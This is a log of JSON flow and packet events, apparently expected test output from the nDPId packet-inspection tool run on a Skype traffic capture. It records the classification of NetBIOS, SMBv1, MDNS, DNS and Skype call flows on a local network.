+00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":498,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":1431970643669,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"192.168.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":499,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1431970643670,"flow_last_seen":0,"flow_tot_l4_data_len":182,"flow_min_l4_data_len":182,"flow_max_l4_data_len":182,"flow_avg_l4_data_len":182,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"192.168.1.255","src_port":138,"dst_port":138,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00646{"flow_id":29,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":499,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970643,"pkt_ts_usec":670155,"pkt_caplen":216,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":216,"pkt_l4_len":182,"pkt":"\/\/\/\/\/\/\/\/xCwDBkn+CABFAADKWJAAAEARnOfAqAFcwKgB\/wCKAIoAtjdgEQJGDcCoAVwAAACgAAAgRU1GRkVERUJGRENORUpFTkVCRURDQUNBQ0FDQUNBQUEAIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUJOAP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAACwUAAAxGEQAABgAAAAAAAAACAAAAAAAAAAAAAAAGAFYAAwABAAEAAgAXAFxNQUlMU0xPVFxCUk9XU0UACQQLRgAA"} +00563{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":499,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1431970643670,"flow_last_seen":0,"flow_tot_l4_data_len":182,"flow_min_l4_data_len":182,"flow_max_l4_data_len":182,"flow_avg_l4_data_len":182,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"192.168.1.255","src_port":138,"dst_port":138,"l4_proto":"udp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"NetBIOS.SMBv1","breed":"Dangerous","category":"System"}} +00479{"flow_id":24,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":500,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970643,"pkt_ts_usec":670179,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/PBXCt3IOCABFAABOM9EAAEARwlzAqAEiwKgB\/wCJAIkAOosFRXIBEAABAAAAAAAAIEFCQUNGUEZQRU5GREVDRkNFUEZIRkRFRkZQRlBBQ0FCAAAgAAE="} +00479{"flow_id":24,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":501,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970643,"pkt_ts_usec":670180,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/PBXCt3IOCABFAABO8TcAAEARBPbAqAEiwKgB\/wCJAIkAOrIDRXYBEAABAAAAAAAAIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUJOAAAgAAE="} +00505{"flow_id":24,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":502,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970643,"pkt_ts_usec":670278,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"\/\/\/\/\/\/\/\/PBXCt3IOCABFAABggQQAAEARdRfAqAEiwKgB\/wCJAIkATHVQRXdAEAABAAAAAAABIEVNRkZFREVCRkRFTkVCRURFQ0VQRVBFTEZBRkNFUEFBAAAgAAHADAAgAAEAAAOEAAZgAMCoASI="} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":503,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":1431970643670,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"192.168.1.255","src_port":53826,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_id":30,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":503,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970643,"pkt_ts_usec":670427,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/xCwDBkn+CABFAABOJN8AAEAR0RTAqAFcwKgB\/9JCAIkAOpbmnKMBEAABAAAAAAAAIEVNRkZFREVCRkRDTkVKRU5FQkVEQ0FDQUNBQ0FDQUFBAAAgAAE="} +00518{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":503,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":1431970643670,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"192.168.1.255","src_port":53826,"dst_port":137,"l4_proto":"udp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00490{"flow_id":25,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":504,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970643,"pkt_ts_usec":673228,"pkt_caplen":104,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":104,"pkt_l4_len":70,"pkt":"PBXCt3IO0NQSxnP1CABFAABaAABAAEARtx\/AqAEBwKgBIgCJAIkARtFGRXKFgAAAAAEAAAAAIEFCQUNGUEZQRU5GREVDRkNFUEZIRkRFRkZQRlBBQ0FCAAAgAAEAA\/SAAAaAAMCoAQE="} +00490{"flow_id":25,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":505,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970643,"pkt_ts_usec":673653,"pkt_caplen":104,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":104,"pkt_l4_len":70,"pkt":"PBXCt3IO0NQSxnP1CABFAABaAABAAEARtx\/AqAEBwKgBIgCJAIkARnhFRXaFgAAAAAEAAAAAIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUJOAAAgAAEAA\/SAAAYAAMCoAQE="} +00646{"flow_id":26,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":506,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970643,"pkt_ts_usec":673804,"pkt_caplen":216,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":216,"pkt_l4_len":182,"pkt":"\/\/\/\/\/\/\/\/PBXCt3IOCABFAADKHC4AAEAR2YPAqAEiwKgB\/wCKAIoAtt1hEQJFdcCoASIAAACgAAAgRU1GRkVERUJGREVORUJFREVDRVBFUEVMRkFGQ0VQQUEAIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUJOAP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAcAIAAHRFEQAABgAAAAAAAAACAAAAAAAAAAAAAAAGAFYAAwABAAEAAgAXAFxNQUlMU0xPVFxCUk9XU0UACQRzRQAA"} +00653{"flow_id":27,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":507,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970643,"pkt_ts_usec":676499,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"PBXCt3IO0NQSxnP1CABFAADUAABAAEARtqXAqAEBwKgBIgCKAIoAwKSxEAoqncCoAQEAigCqAAAgRUJFTUVKRURFRkVIRUJGRUVGQ0FDQUNBQ0FDQUNBQUEAIEVNRkZFREVCRkRFTkVCRURFQ0VQRVBFTEZBRkNFUEFBAP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAAEAAAAAAAAAAAAAAAAAAAAAAAAAAQAFYAAwABAAEAAgAhAFxNQUlMU0xPVFxCUk9XU0UACgFzRQAAQUxJQ0VHQVRFAA=="} +00470{"flow_id":25,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":508,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970643,"pkt_ts_usec":676745,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"0NQSxnP1PBXCt3IOCABFAABOhtkAAEARcFLAqAEiwKgBAQCJAIkAOtIQRXkAAAABAAAAAAAAIEVCRU1FSkVERUZFSEVCRkVFRkNBQ0FDQUNBQ0FDQUNBAAAhAAE="} +00713{"flow_id":25,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":509,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970643,"pkt_ts_usec":680280,"pkt_caplen":271,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":271,"pkt_l4_len":237,"pkt":"PBXCt3IO0NQSxnP1CABFAAEBAABAAEARtnjAqAEBwKgBIgCJAIkA7VV3RXmEAAAAAAEAAAAAIEVCRU1FSkVERUZFSEVCRkVFRkNBQ0FDQUNBQ0FDQUNBAAAhAAEAAAAAAK0HQUxJQ0VHQVRFICAgICAgAAQAQUxJQ0VHQVRFICAgICAgAwQAQUxJQ0VHQVRFICAgICAgIAQAAQJfX01TQlJPV1NFX18CAYQAV09SS0dST1VQICAgICAgHQQAV09SS0dST1VQICAgICAgHoQAV09SS0dST1VQICAgICAgAIQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00491{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":510,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1431970643964,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::c62c:3ff:fe06:49fe","dst_ip":"ff02::fb","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00480{"flow_id":31,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":510,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970643,"pkt_ts_usec":964341,"pkt_caplen":96,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":96,"pkt_l4_len":42,"pkt":"MzMAAAD7xCwDBkn+ht1gAU9NACoR\/\/6AAAAAAAAAxiwD\/\/4GSf7\/AgAAAAAAAAAAAAAAAAD7FOkU6QAqSjYAAAAAAAEAAAAAAAAKTHVjYXMtaU1hYwVsb2NhbAAAHIAB"} +00561{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":510,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1431970643964,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::c62c:3ff:fe06:49fe","dst_ip":"ff02::fb","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"lucas-imac.local"}} +00689{"flow_id":18,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":511,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970644,"pkt_ts_usec":73243,"pkt_caplen":251,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":251,"pkt_l4_len":217,"pkt":"0NQSxnP1PBXCt3IOCABFAADtJ+NAAEAGFurAqAEiF84hpsgfAbv4Tz2YGDU8XoAYECwMkgAAAQEICj4xq07sPW3FFgMBALQBAACwAwNVWiNLhX\/\/ejAO4KpxNC8\/ZrCwmmE9wkU90zxCDkcIKAAASgD\/wCTAI8AKwAnACMAowCfAFMATwBLAJsAlwAXABMADwCrAKcAPwA7ADQBrAGcAOQAzABYAPQA8ADUALwAKwAfAEcACwAwABQAEAQAAPQAAABMAEQAADmFwcHMuc2t5cGUuY29tAAoACAAGABcAGAAZAAsAAgEAAA0ADAAKBQEEAQIBBAMCAzN0AAA="} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":512,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":1,"flow_first_seen":1431970644120,"flow_last_seen":0,"flow_tot_l4_data_len":108,"flow_min_l4_data_len":108,"flow_max_l4_data_len":108,"flow_avg_l4_data_len":108,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00547{"flow_id":32,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":512,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970644,"pkt_ts_usec":120720,"pkt_caplen":142,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":142,"pkt_l4_len":108,"pkt":"PBXCt3IOxCwDBkn+CABFAACAhzsAAP8RkTHAqAFc4AAA+xTpFOkAbM4wAACEAAAAAAEAAAACCkx1Y2FzLWlNYWMFbG9jYWwAAByAAQAAAHgAEP6AAAAAAAAAxiwD\/\/4GSf7ADAABgAEAAAB4AATAqAFcwAwAHIABAAAAeAAQ\/oAAAAAAAADGLAP\/\/gZJ\/g=="} +00556{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":512,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":1,"flow_first_seen":1431970644120,"flow_last_seen":0,"flow_tot_l4_data_len":108,"flow_min_l4_data_len":108,"flow_max_l4_data_len":108,"flow_avg_l4_data_len":108,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"lucas-imac.local"}} +00577{"flow_id":31,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":513,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970644,"pkt_ts_usec":121096,"pkt_caplen":162,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":162,"pkt_l4_len":108,"pkt":"MzMAAAD7xCwDBkn+ht1gAU9NAGwR\/\/6AAAAAAAAAxiwD\/\/4GSf7\/AgAAAAAAAAAAAAAAAAD7FOkU6QBsYIEAAIQAAAAAAQAAAAIKTHVjYXMtaU1hYwVsb2NhbAAAHIABAAAAeAAQ\/oAAAAAAAADGLAP\/\/gZJ\/sAMAAGAAQAAAHgABMCoAVzADAAcgAEAAAB4ABD+gAAAAAAAAMYsA\/\/+Bkn+"} +00583{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":513,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":2,"flow_first_seen":1431970643964,"flow_last_seen":1431970644121,"flow_tot_l4_data_len":150,"flow_min_l4_data_len":42,"flow_max_l4_data_len":108,"flow_avg_l4_data_len":75,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::c62c:3ff:fe06:49fe","dst_ip":"ff02::fb","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"lucas-imac.local"}} +00448{"flow_id":10,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":514,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970644,"pkt_ts_usec":148535,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8FR5AAEAGkn\/AqAEinTg0HMgdnEkK2QS07hN6BYAYECnjVgAAAQEICj4xq5lMX+qKABUsdMFxBVE="} +00466{"flow_id":20,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":515,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970644,"pkt_ts_usec":547596,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLb0kAAEARh+XAqAEiwKgBAcOHADUANwqgVG4BAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAABAAE="} +00466{"flow_id":21,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":516,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970644,"pkt_ts_usec":547740,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLkaoAAEARZYTAqAEiwKgBAcopADUAN1kA5GsBAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAAcAAE="} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":517,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1431970644777,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.170","src_port":13021,"dst_port":40015,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00451{"flow_id":33,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":517,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970644,"pkt_ts_usec":777198,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"0NQSxnP1PBXCt3IOCABFAAA+iz0AAEARV8bAqAEinTc4qjLdnE8AKqlOercCgeG1zG2vbzPj0KjKJlzB46QihppHpHZWBMh9hdX\/8Q=="} +00526{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":517,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1431970644777,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.170","src_port":13021,"dst_port":40015,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":518,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":1431970645790,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.15","src_port":13021,"dst_port":40026,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":34,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":518,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970645,"pkt_ts_usec":790194,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"0NQSxnP1PBXCt3IOCABFAAA533AAAEARH43AqAEib91KDzLdnFoAJRqBerkCLcYyzYQBZ1UUv9afmdL8U47Y0EMKk9GOcm8="} +00526{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":518,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":1431970645790,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.15","src_port":13021,"dst_port":40026,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":519,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":1,"flow_first_seen":1431970645790,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.33","src_port":13021,"dst_port":40002,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":35,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":519,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970645,"pkt_ts_usec":790194,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8IE0AAEAReEHAqAEiQTffITLdnEIAKKkPersC6xhZmoz4NcwgQN8Oq77mdsG6aJAJEzSI01rU6ec="} +00525{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":519,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":1,"flow_first_seen":1431970645790,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.33","src_port":13021,"dst_port":40002,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":520,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":1,"flow_first_seen":1431970645790,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.145","src_port":13021,"dst_port":40027,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00447{"flow_id":36,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":520,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970645,"pkt_ts_usec":790377,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"0NQSxnP1PBXCt3IOCABFAAA7MzsAAEARLhjAqAEiQAQXkTLdnFsAJ6Pner0C2KbUw2DxbMk3cWJigGAv5JrHPRhWYHrZrKFH\/Q=="} +00524{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":520,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":1,"flow_first_seen":1431970645790,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.145","src_port":13021,"dst_port":40027,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":521,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":1,"flow_first_seen":1431970645790,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.165","src_port":13021,"dst_port":40028,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00451{"flow_id":37,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":521,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970645,"pkt_ts_usec":790378,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"0NQSxnP1PBXCt3IOCABFAAA+dlAAAEARIrjAqAEinTeCpTLdnFwAKmyyer8CyymJmKIvjgybbxj4QUGrEeWW\/O+vVrSV+3Rj4Yjh8w=="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":521,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":1,"flow_first_seen":1431970645790,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.165","src_port":13021,"dst_port":40028,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":522,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":1,"flow_first_seen":1431970645790,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.27","src_port":13021,"dst_port":40025,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":38,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":522,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970645,"pkt_ts_usec":790378,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"0NQSxnP1PBXCt3IOCABFAAA6yaYAAEARHe\/AqAEinTg0GzLdnFkAJhz6esECVdgpKZUPSYYd3u6m4rCVVtMoL0MGJKJcpPJg"} 